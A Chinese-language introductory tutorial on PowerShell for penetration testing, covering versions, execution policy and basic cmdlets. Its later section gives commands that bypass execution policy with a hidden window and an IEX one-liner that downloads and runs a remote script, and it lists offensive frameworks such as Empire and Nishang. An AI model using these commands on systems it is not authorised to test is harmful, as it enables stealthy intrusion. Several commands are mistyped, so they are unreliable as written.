前言
在渗透测试中,PowerShell起到很重要的作用。PowerShell的可扩展性和其强大的功能让微软操作系统的可控制程度上升到了一个前所未有的等级。简单地说,Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境,而它可以算是颠覆了传统的命令行提示符-cmd.exe。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无需写到磁盘中执行,直接在内存中运行。这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。
PowerShell简介
Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows 7/Windows 2008 R2和更高版本),使命令行用户和脚本编写者可以利用.NET Framework的强大功能。
PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性、可以位居当前所有Shell之首。PowerShell有以下这几个优点:
·Windows 7以上的操作系统默认安装
·PowerShell脚本可以运行在内存中,不需要写入磁盘。
·可以从另一个系统中下载PowerShell脚本并执行。
·目前很多工具都是基于PowerShell开发的。
·很多安全软件并不能检查到PowerShell的活动。
·Cmd.exe通常会被阻止运行,但是PowerShell不会。
·可以用来管理活动目录。
各个Windows系统下的PowerShell版本,如表所示:
操作系统 | Power Shell版本 | 是否可升级 |
---|---|---|
Windows 7/Windows Server 2008 | 2.0 | 可以升级为3.0,4.0 |
Windows 8/Windows Server 2012 | 3.0 | 可以升级为4.0 |
Windows 8.1/Windows Server 2012 R2 | 4.0 | 否 |
可以输入Get-Host或者$PSVersion Table.PSVERSION命令查看PowerShell版本,如图所示。
PowerShell的基本概念
PS1文件
一个PowerShell脚本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为PowerShell脚本的文本文件,使用的是PS1的扩展名。
执行策略
为防止恶意脚本执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设为受限。在PowerShell脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
如图显示的是Restricted:
Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,单从网上下载的脚本不能运行(拥有数字签名证书除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行
我们可以使用下面的cmdlet命令设置PowerShell的执行策略。
Set-ExecutionPolicy
运行脚本
运行一个PowerShell脚本,必须键入完整的路径和文件名,例如,我们要运行一个名为1.ps1的脚本,可以键入C:\Script\1.ps1。但如果PowerShell脚本文件在当前位置中打开,则直接执行脚本即可。
管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接。
例如:停止所有目前运行中的,以“p”字符开头命名的程序,命令如下所示。
PowerShell的常用命令
基本知识
在PowerShell下,类似“cmd命令”叫做“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-ltem,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-Childltem命令使用dir或ls均可,而且PowerShell命令不区分大小写。
下面以文件操作为例讲解PowerShell命令的基本用法
新建目录:New-ltem whitecellclub-ltemType Directory
新建文件:New-ltem light.txt-ltemType File
删除目录:Remove-ltem whitecellclub
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt-Value“hell,word”
追加内容:Add-Content light.txt-Value “I love you”
清除内容:Clear-Content test.txt
常用命令
我们可以通过Windows终端提示符输入PowerShell进入PowerShell命令行。输入help命令显示帮助菜单。
如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,PowerShell脚本在默认情况下无法直接运行,就需要采用一些方法绕过策略来执行脚本,比如下面这三种:
绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX (New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]
下面对上述命令的参数进行说明:
ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行都要使用这个参数。
WindowStyle Hidden:隐藏窗口
NoLogo:启动不显示版权标志的PowerShell
Nonlnteractive(-NoP):非交互模式,PowerShell不为用户提供交互的提示
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本非常重要。
PowerShell攻击工具
常用的PowerShell攻击工具有以下几种:
PowerSploit:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
PowerCat:PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。
以上所说工具将会在之后的文章中展开具体的介绍。